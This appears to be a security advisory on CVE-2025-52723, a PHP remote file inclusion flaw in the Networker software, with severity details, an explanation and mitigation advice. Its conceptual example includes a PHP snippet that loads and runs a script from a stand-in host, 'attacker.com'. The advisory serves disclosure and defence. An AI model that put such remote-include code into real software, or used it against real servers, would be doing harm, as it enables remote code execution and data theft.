Overview
CVE-2025-52723 is a significant cybersecurity vulnerability for organizations utilizing the Networker software from codesupplyco. This vulnerability is a significant threat due to its improper handling of filenames for include/require statements in PHP programs. It specifically pertains to the PHP Remote File Inclusion (RFI) vulnerability, which could potentially grant unauthorized access to the system or lead to data leakage. Businesses relying heavily on Networker software should be aware of this vulnerability and take immediate actions to mitigate its potential threats.
Vulnerability Summary
CVE ID: CVE-2025-52723
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Networker | n/a through 1.2.0
How the Exploit Works
The exploit takes advantage of the improper control of filenames for include/require statements in PHP programs within Networker. An attacker could manipulate these statements to inject malicious scripts into the server, leading to unauthorized access and potential data leakage. This vulnerability essentially allows an attacker to include a remote file, usually through a URL passed to the PHP include() or require() function.
Conceptual Example Code
The following pseudocode illustrates how the vulnerability might be exploited:
<?php
// The attacker injects a URL of a malicious script into the include function
$malicious_url = 'http://attacker.com/malicious_script.php';
include($malicious_url);
?>In this conceptual example, the attacker injects a URL of a malicious script into the include function. This script gets executed on the server, leading to unauthorized access and potential data leakage.
Mitigation Guidance
The most effective way to mitigate the risks associated with CVE-2025-52723 is to apply the vendor-provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to temporarily mitigate the vulnerability by detecting and blocking malicious traffic. Regularly updating and patching your software is crucial to protect your systems against such vulnerabilities.